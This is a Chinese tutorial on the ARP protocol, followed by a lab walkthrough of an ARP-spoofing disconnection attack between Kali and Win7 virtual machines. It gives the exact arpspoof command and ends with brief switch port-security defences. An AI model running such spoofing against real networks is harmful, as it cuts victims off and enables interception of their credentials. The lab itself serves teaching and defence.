ARP学习及断网攻击

1.什么是ARP

         ARP(Address Resolution Protocol)是一种用于在IPv4网络中将IP地址映射到MAC地址的协议。在计算机网络中,每个网络接口都有一个唯一的MAC地址(Media Access Control address),用于识别网络设备。

而IP地址(Internet Protocol address)则是用于标识网络上设备的逻辑地址。ARP协议的作用就是在这两种地址之间建立映射关系,以便计算机能够正确地将IP地址转换为MAC地址,从而实现数据包的正确传输。

2.ARP工作原理

当一个设备需要发送数据到一个具有特定IP地址的设备时,它会首先发送一个ARP请求广播,询问该IP地址对应的MAC地址是什么,而拥有该IP地址的设备会回复一个包含自己MAC地址的ARP响应。这样,发送设备就能获得目标设备的MAC地址,进而将数据包发送到正确的目标。

3.ARP协议(Address Resolution Protocol)

主要作用是在局域网中解析网络层的IP地址到链路层的MAC地址。这个协议对于网络通信是非常关键的,因为虽然IP地址用于网络层的通信,但实际的数据帧在物理网络上是通过MAC地址进行传输的。

  1. 地址映射:ARP允许设备发现局域网内其他设备的物理地址。当一个设备知道另一个设备的IP地址但不知道其MAC地址时,它会使用ARP来获取对应的MAC地址。

  2. 数据包传输:在发送数据包时,网络设备需要知道目标设备的MAC地址以便将数据包正确地发送到该设备。ARP通过提供这一地址转换,使得数据包能够在局域网内正确传递。

  3. 网络通信的桥接:ARP协议帮助不同网络协议(如IPv4)与物理网络(如以太网)之间进行桥接,使得使用不同技术的网络设备可以互相通信。

  4. 缓存机制:设备通常会在一个本地缓存中存储ARP响应,称为ARP缓存。这样,它们可以在需要时快速查找已知的IP到MAC的映射,减少网络上的ARP请求,从而提高网络效率。

  5. 网络配置与故障排除:ARP还可以用来帮助网络管理员监控和配置网络,例如,通过观察ARP流量来检测网络上的配置错误或冲突。

哈哈哈,搞复杂了,其实很简单,用一句话总结就是:当设备需要将IP地址转换为MAC地址时,ARP协议就派上用场。它通过询问局域网内其他设备,获取目标设备的MAC地址,以确保数据包能够正确传输。这里借用小菜学编程的一张图比较清晰:

4.ARP常用命令

  1. 查询arp表:

 arp -a   

2.删除表内某个IP

arp -d IP      

3.tcp抓某块网卡的所有arp请求

tcpdump -i eth0 -nn arp     

4.tcp抓取指定ip的请求

  tcpdump -i eth0 -nn arp  and host IP     

5.ARP断网攻击

原理:

向目标主机不断的发送ARP报文,然后将其报文中的网关Mac地址设置成为攻击机的主机MAC地址, 然后目标主机想要访问网络发送数据包时,都会发送到攻击机,然后攻击机只需要做一个丢弃数据包的 命令,就可以断掉目标主机的网络了。

准备工作:

两台虚拟机,一台kali作为攻击方,另一台win7作为被攻击方
需要注意的时,两台主机需要在同一个局域网,并且网络通畅。

工具介绍:

arpspoof [spuːf] 是一个好用的ARP欺骗工具,攻击者通过毒化受害者ARP缓存,将网关MAC替换为攻击者MAC,然后攻击者可截获受害者发送和收到的数据包,从而获取受害者账户、密码等相关敏感信息。Kali linux中自带了该工具。

命令使用讲解

arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
-i:指定网卡
-c:攻击机的IP
-t 目标机器的IP
-r:网关IP

具体步骤:

1.1查看kali的ip:

ip a

1.2 查看windows的ip:

ipconfig /all

1.3 windows ping kali:

ping kali——ip

1.4 win7 查看arp表,记录网关的信息

arp -a |findstr 网关

2.kali进行断网攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12
-i:指定网卡
-r:指定网关ip
-t:指定靶机ip

3.win7 查看网络连接 和 kali 的网络链接

ping www.baidu.com

4.win7查看此时的arp表

arp -a 
或者
arp -a |findstr 网关

5.结束断网攻击

ctrl+C

6.win7重新查看网络状态

ping www.baidu.com

7.win10重新查看arp表

arp -a |findstr 网关

总结与防御:


ARP(地址解析协议)断网攻击通常是通过发送伪造的ARP消息来进行的,目的是改变局域网内其他设备的ARP缓存,使流量被错误地发送到攻击者的设备上,从而进行中间人攻击或导致网络中断。这种攻击称为ARP欺骗或ARP缓存投毒。以下是一些防范ARP断网攻击的策略:

从原理上来看,如果你发现了端口上有多个MAC地址,那基本就很明显了,

使用高新的交换机支持端口安全特性,可以限制连接到特定物理端口的MAC地址数量。通过这种方式,如果检测到端口上有多个MAC地址,则可以配置交换机自动关闭该端口,防止可能的ARP攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830424.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c#创建新项目

确保已安装.NET Core SDK。(visual studio installer中可安装) cmd中先引用到文件夹目录下。 mkdir MyConsoleApp MyConsoleApp是项目文件夹的名字。 mkdir 是一个命令行工具,用于在文件系统中创建新的目录(文件夹)…

TCP协议在物联网中实战

一、TCP协议介绍 网上对TCP协议介绍众多,本人按照自己的理解简单介绍一下。 TCP(Transmission Control Protocol, 传输控制协议)是一种面向连接的、可靠的、基于字节流的传输控制层通信协议。 1.1 协议机制 1.1.1 三次握手 &…

imx6ull配置交叉编译环境编译u-boot及linux所遇问题解决记录

文章目录 前言一、问题 1 及解决方法1、问题 1 描述2、问题 1 解决方法 二、问题 2 及解决方法1、问题 2 描述2、问题 2 解决方法 三、问题 3 及解决方法1、问题 3 描述2、问题 3 解决方法 四、问题 4 及解决方法1、问题 4 描述2、问题 4 解决方法 前言 CoM-iMX6UL(L) 是一款兼…

linux远程访问及控制

一、SSH远程管理 1.SSH的简介 SSH远程管理是一种通过 SSH 协议安全地管理远程计算机的方法。允许管理员通过加密的连接从本地计算机或其他远程位置连接到远程计算机,并执行管理任务、配置设置、故障排除等操作。 远程链接的两种方法:SSH 、Telnet S…

Hadoop学习-MapReducer

MapReducer 目录 MapReducer 1.Hadoop是干嘛的 2.maven 3.MapReducer 1)分析数据 写sql 2)写程序 a.mapper程序 b.洗牌 分组排序 c.reducer程序 d.Test类 1.Hadoop是干嘛的 1)分布式存储 HDFS 2)处理大规模数据 Map…

Jammy@Jetson Orin Nano - Tensorflow GPU版本安装

JammyJetson Orin Nano - Tensorflow GPU版本安装 1. 源由2. 问题3. 分析3.1 当前版本Tensorflow 2.16.13.2 GPU版本二进制安装3.3 GPU版本源代码安装3.3.1 问题1 ERROR: no such target //tensorflow/tools/pip_package:wheel3.3.2 问题2 fatal error: cstddef file not found…

《21天学通C++》(第十一章)多态

为什么需要多态? 为了最大限度地减少代码,提高可读性 1.虚函数 虚函数是C中的一种特殊成员函数,它允许在派生类(也称为子类)中重写(覆盖)基类的实现,使用virtual进行声明 在C中&am…

vue+element-ui实现横向长箭头,横向线上下可自定义文字(使用after伪元素实现箭头)

项目场景&#xff1a; 需要实现一个长箭头&#xff0c;横向线上下可自定义文字 代码描述 <div><span class"data-model">{{ //上方文字}}</span><el-divider class"q"> </el-divider>//分隔线<span class"data-mod…

贝叶斯统计实战:Python引领的现代数据分析之旅

贝叶斯统计这个名字取自长老会牧师兼业余数学家托马斯贝叶斯(Thomas Bayes&#xff0c;1702—1761)&#xff0c;他最先推导出了贝叶斯定理&#xff0c;该定理于其逝世后的1763年发表。但真正开发贝叶斯方法的第一人是Pierre-Simon Laplace(1749—1827)&#xff0c;因此将其称为…

智慧农业设备——虫情监测系统

随着科技的不断进步和农业生产的日益现代化&#xff0c;智慧农业成为了新时代农业发展的重要方向。其中&#xff0c;虫情监测系统作为智慧农业的重要组成部分&#xff0c;正逐渐受到广大农户和农业专家的关注。 虫情监测系统是一种基于现代传感技术、图像识别技术和大数据分析技…

【Kafka】Kafka与flume整合(四)

Kafka和Flume整合 Kafka与flume整合流程 Kafka整合flume流程图 flume主要是做日志数据(离线或实时)地采集。 图-1 数据处理 图-1显示的是flume采集完毕数据之后&#xff0c;进行的离线处理和实时处理两条业务线&#xff0c;现在再来学习flume和kafka的整合处理。 配置flume…

【C++算法竞赛 · 图论】树

目录 前言 树 树的定义 树的相关概念 树的遍历 1 先序遍历 2 中序遍历 3 后序遍历 前言 前两篇文章&#xff08;【C算法竞赛 图论】图论基础、【C算法竞赛 图论】图的存储&#xff09;中&#xff0c;介绍了图的相关概念与存储&#xff0c;还不了解的可以去补补课。 …

【ETAS CP AUTOSAR工具链】RTE层基本概念与开发流程

本篇文章续接上篇文章【ETAS CP AUTOSAR工具链】基本概念与开发流程&#xff0c;继续按上篇文章描述的ETAS CP工具链进行开发的基本框架&#xff0c;讲述了“RTE集成与配置”这部分的基本概念与开发流程。 RTE&#xff08;Runtime Environment&#xff09;处于应用层与基础软件…

标贝语音识别技术在金融领域中的应用实例

随着语音识别技术与文本挖掘、自然语言处理等技术的不断融合&#xff0c;智能语音交互技术在金融领域中爆发了出巨大的应用潜力。标贝科技根据自身与金融领域合作的经验为大家梳理出以下几点智能语音识别技术在金融领域中的应用实例。 一、智能柜台服务 语音识别的主要功能就…

微PE制作系统重装以及w11详细安装教程windows11安装pe系统制作

1.在电脑上插入一个U盘&#xff08;U盘的内存不小于8G&#xff09;&#xff0c;鼠标右击插入的【U盘】选择【格式化】。 2.文件系统选择【NTFS】&#xff0c;点击【开始】。 3.点击【确定】。 4.格式化完成&#xff0c;点击【确定】。 5.鼠标右击【PE工具箱V2.3】压缩包选…

unity项目《样板间展示》开发:菜单界面

unity项目《样板间展示》开发&#xff1a;菜单界面 前言UI菜单创建逻辑实现结语 前言 这是这个项目demo教程的最后一节&#xff0c;这节是菜单界面部分的创建 UI菜单创建 创建一个新的场景&#xff0c;在Scene文件中右键选择Create->Scene&#xff0c;创建新的场景 在场景…

【深耕 Python】Data Science with Python 数据科学(16)Scikit-learn机器学习(一)

写在前面 关于数据科学环境的建立&#xff0c;可以参考我的博客&#xff1a; 【深耕 Python】Data Science with Python 数据科学&#xff08;1&#xff09;环境搭建 往期数据科学博文&#xff1a; 【深耕 Python】Data Science with Python 数据科学&#xff08;2&#xf…

unity3d使用3D WebView播放网页中的视频

Unity2021.3.35f1&#xff0c;硬件ESP32-Cam&#xff0c;3D WebView插件 1.新建工程&#xff0c;导入3D WebView for Winfows和3D WebView for Android 2.打开场景Assets\Vuplex\WebView\Demos\Scenes\2_CanvasWebViewDemo 3.修改Canvas的Render Mode为Screen Space-Camera&am…

【C++】学习笔记——string_1

文章目录 四、模板初阶2. 类模板 五、STL简介1. 什么是STL2. STL的六大组件3. 如何学习STL 六、string类1. string类对象的容量操作 未完待续 四、模板初阶 2. 类模板 函数模板就是&#xff1a;模板 函数&#xff1b;类模板就是&#xff1a;模板 类。和函数模板用法基本相同…

Rust HashMap

一、HashMap是什么&#xff0c;怎么用 1、HashMap是什么 HashMap 也是 Rust 标准库中提供的集合类型&#xff0c;但是又与动态数组不同&#xff0c;HashMap 中存储的是一一映射的 KV 键值对&#xff0c;并提供了平均时间复杂度为 O(1) 的查询方法。 2、HashMap怎么用 &…